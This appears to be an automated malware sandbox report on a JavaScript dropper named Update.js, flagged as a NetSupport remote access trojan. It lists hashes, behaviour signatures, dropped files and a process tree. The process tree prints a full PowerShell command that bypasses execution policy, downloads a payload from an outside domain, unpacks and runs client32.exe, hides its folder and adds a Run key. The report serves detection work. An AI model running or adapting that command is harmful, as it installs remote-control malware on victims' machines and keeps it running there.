Overview

overview

10

Static

static

1

Update.js

windows10-2004-x64

10

Analysis

  • max time kernel
    390s
  • max time network
    386s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-10-2024 13:45

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General

  • Target

    Update.js

  • Size

    2.6MB

  • MD5

    36ee5581812c837d817cfc14100ec6cf

  • SHA1

    4cbc8e964776041f36f64a617aa72b445b298e28

  • SHA256

    089f1c779eacb215387da1885406f7b67f2fc0043b9c703f1dccddd3a787f4c8

  • SHA512

    95edeeffd980262016ed47491009326629b8a11c1108dbf9a50ff9dd91d58f1c2d5a358452537265943db98b121c35680d556b653cb01730d8d7545a7f513a89

  • SSDEEP

    49152:OCz4F9dM2furCz4F9dM2fuQCz4F9dM2furCz4F9dM2fui:OkGgkGDkGgkG9

Score
10/10
netsupportdiscoveryexecutionpersistencerat

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://indoprimitiveart.com/trade/d.php?6247
exe.dropper

https://indoprimitiveart.com/trade/d.php?6247

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Update.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $MRKPLSR='https://indoprimitiveart.com/trade/d.php?6247';$YTPBCXHJLDD=(New-Object System.Net.WebClient).DownloadString($MRKPLSR);$JPZDYMBOQKP=[System.Convert]::FromBase64String($YTPBCXHJLDD);$asd = Get-Random -Minimum -5 -Maximum 12; $AKLZOENTBB=[System.Environment]::GetFolderPath('ApplicationData')+'\UQNZUXNGJVA'+$asd;if (!(Test-Path $AKLZOENTBB -PathType Container)) { New-Item -Path $AKLZOENTBB -ItemType Directory };$p=Join-Path $AKLZOENTBB 'CXCC.zip';[System.IO.File]::WriteAllBytes($p,$JPZDYMBOQKP);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$AKLZOENTBB)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $AKLZOENTBB 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $AKLZOENTBB -Force; $fd.attributes='Hidden';$s=$AKLZOENTBB+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='SVNOHS';$ASDASD='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $ASDASD;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\client32.exe
        "C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:8
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4292,i,1729213506309163284,12809566808978835441,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:8
    1⤵
      PID:3088
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4440
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1924
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Update.js"
        1⤵
        • Blocklisted process makes network request
        PID:2372

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
        Filesize

        717B

        MD5

        822467b728b7a66b081c91795373789a

        SHA1

        d8f2f02e1eef62485a9feffd59ce837511749865

        SHA256

        af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

        SHA512

        bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\68D7441FFC2B41396B37A70745BFF8F2
        Filesize

        504B

        MD5

        fecba47fe68bbfe1e5588a0cc7f0bd2d

        SHA1

        4c5fdd0d5a22242bffe604a71a251e87e015ee1e

        SHA256

        89c278daea3eab3771f0bc93dbfc76cfed5d6c312a8f0fd8d2f17e4594d0569d

        SHA512

        70eaf3280a200f68e61451228d4365660efc6698b79d7182f9ab540738f48b77cf9ef47bd89d311565604ba53843a77f73a095fb57e5ae7bad5e350bdc365b86

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
        Filesize

        192B

        MD5

        ebc3f8623a9f3ce5842fc6a03b57448b

        SHA1

        f15f2e21c81ad77d3f138567c8a303e290097dde

        SHA256

        27f56160f1d756932f13f9f6dfaed2c27ca108aae41ac9c99c39c1d54f5cd4b2

        SHA512

        2367db59a70e72cb5aea29bb9a8548fdef18b6e328049b5cb3f282f44957df12ed3c52e435245ecffa5263fbc1119a4c9bb45fcf7c8ff8f4a5955a13ffd034dd

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\68D7441FFC2B41396B37A70745BFF8F2
        Filesize

        550B

        MD5

        e5146cf7d2951f73444b465ca47aedea

        SHA1

        7ce3d97ee09c5cadccb04fea7fa0b734011dbb2e

        SHA256

        c5bd58ef69c0c958581a7c285b774e93992c04be71d9d5305ec32c4015144b37

        SHA512

        47d480c11c660d8693ff519d3c9e937b5cd2011c5c903c9455694dcbc00c18e699259711daf49db113cf975936af3138a141ac086939b68835ebf11c8de24527

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ugm2uzhz.43n.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\HTCTL32.DLL
        Filesize

        320KB

        MD5

        c94005d2dcd2a54e40510344e0bb9435

        SHA1

        55b4a1620c5d0113811242c20bd9870a1e31d542

        SHA256

        3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

        SHA512

        2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\NSM.LIC
        Filesize

        195B

        MD5

        e9609072de9c29dc1963be208948ba44

        SHA1

        03bbe27d0d1ba651ff43363587d3d6d2e170060f

        SHA256

        dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

        SHA512

        f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\PCICHEK.DLL
        Filesize

        18KB

        MD5

        104b30fef04433a2d2fd1d5f99f179fe

        SHA1

        ecb08e224a2f2772d1e53675bedc4b2c50485a41

        SHA256

        956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

        SHA512

        5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\PCICL32.dll
        Filesize

        3.6MB

        MD5

        d3d39180e85700f72aaae25e40c125ff

        SHA1

        f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

        SHA256

        38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

        SHA512

        471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\client32.exe
        Filesize

        101KB

        MD5

        c4f1b50e3111d29774f7525039ff7086

        SHA1

        57539c95cba0986ec8df0fcdea433e7c71b724c6

        SHA256

        18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

        SHA512

        005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\client32.ini
        Filesize

        670B

        MD5

        15221731b8c78d255535a98220f55385

        SHA1

        917cba1d62dc16241700ac2027a67b62dbd03450

        SHA256

        b23705ddaf4dd0da82ea5c70f7b406f13529b624dfcf8ec2c9099c07de5b997d

        SHA512

        0883c5b8bd9865fa31614f7c8054144323dd4fc5acd73f7e1dec1782b1bdb2da7f7af4aa9bba76847eee42a566c5843b2f021accab477805babab89db6dccf03

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\msvcr100.dll
        Filesize

        755KB

        MD5

        0e37fbfa79d349d672456923ec5fbbe3

        SHA1

        4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

        SHA256

        8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

        SHA512

        2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\pcicapi.dll
        Filesize

        32KB

        MD5

        34dfb87e4200d852d1fb45dc48f93cfc

        SHA1

        35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

        SHA256

        2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

        SHA512

        f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

        Download Submit

      • C:\Users\Admin\AppData\Roaming\UQNZUXNGJVA-4\remcmdstub.exe
        Filesize

        62KB

        MD5

        6fca49b85aa38ee016e39e14b9f9d6d9

        SHA1

        b0d689c70e91d5600ccc2a4e533ff89bf4ca388b

        SHA256

        fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814

        SHA512

        f9c90029ff3dea84df853db63dace97d1c835a8cf7b6a6227a5b6db4abe25e9912dfed6967a88a128d11ab584663e099bf80c50dd879242432312961c0cfe622

        Download Submit

      • memory/4440-99-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-102-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-95-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-94-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-93-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-100-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-105-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-104-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-103-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4440-101-0x000001FBBDC50000-0x000001FBBDC51000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4512-23-0x00000274C0880000-0x00000274C0892000-memory.dmp

        Filesize

        72KB

        Download

      • memory/4512-8-0x00007FFA2EA93000-0x00007FFA2EA95000-memory.dmp

        Filesize

        8KB

        Download

      • memory/4512-22-0x00000274C0850000-0x00000274C085A000-memory.dmp

        Filesize

        40KB

        Download

      • memory/4512-20-0x00007FFA2EA90000-0x00007FFA2F551000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/4512-19-0x00007FFA2EA90000-0x00007FFA2F551000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/4512-9-0x00000274C0520000-0x00000274C0542000-memory.dmp

        Filesize

        136KB

        Download

      • memory/4512-80-0x00007FFA2EA90000-0x00007FFA2F551000-memory.dmp

        Filesize

        10.8MB

        Download